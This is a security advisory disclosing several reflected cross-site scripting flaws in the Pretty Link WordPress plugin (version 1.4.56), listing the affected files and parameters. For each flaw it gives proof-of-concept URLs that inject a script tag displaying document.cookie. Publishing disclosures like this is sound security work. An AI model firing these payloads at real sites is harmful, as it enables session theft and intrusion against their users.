Multiple vulnerabilities in Pretty Link WordPress Plugin

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB23049
Reference: 
https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_pretty_link_wordpress_plugin.html
Product: Pretty Link WordPress Plugin
Vendor: Caseproof  ( http://blairwilliams.com/ ) 
Vulnerable Version: 1.4.56 and probably prior
Tested Version: 1.4.56
Vendor Notification: 21 September 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( 
https://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple 
vulnerabilities in Pretty Link WordPress Plugin, which can be exploited to 
perform cross-site scripting attacks.

1) Input passed via the "min_date" GET parameter to 
/wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php is not 
properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php?min_date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" 
is enabled.

2) Input passed via the "message" GET parameter to 
/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php 
is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" 
is enabled.

3) Input passed via the "prli_blogurl", "values" GET parameters to 
/wp-content/plugins/pretty-link/classes/views/prli-links/form.php is not 
properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?prli_blogurl=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[slug]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[name]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[description]=%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[redirect_type][307]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[redirect_type][301]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" 
is enabled.

4) Input passed via the "errors" GET parameter to 
/wp-content/plugins/pretty-link/classes/views/shared/errors.php is not properly 
sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/shared/errors.php?errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" 
is enabled.

5) Input passed via the "page_first_record", "page_last_record", 
"record_count", "controller_file", "page_params" GET parameters to 
/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php is not 
properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_record=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_last_record=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&record_count=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&current_page=2&controller_file=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&current_page=2&page_params=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerability requires that "register_globals" 
is enabled.


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accurate information as possible. The latest version of the Advisory is 
available on the web page in Reference field.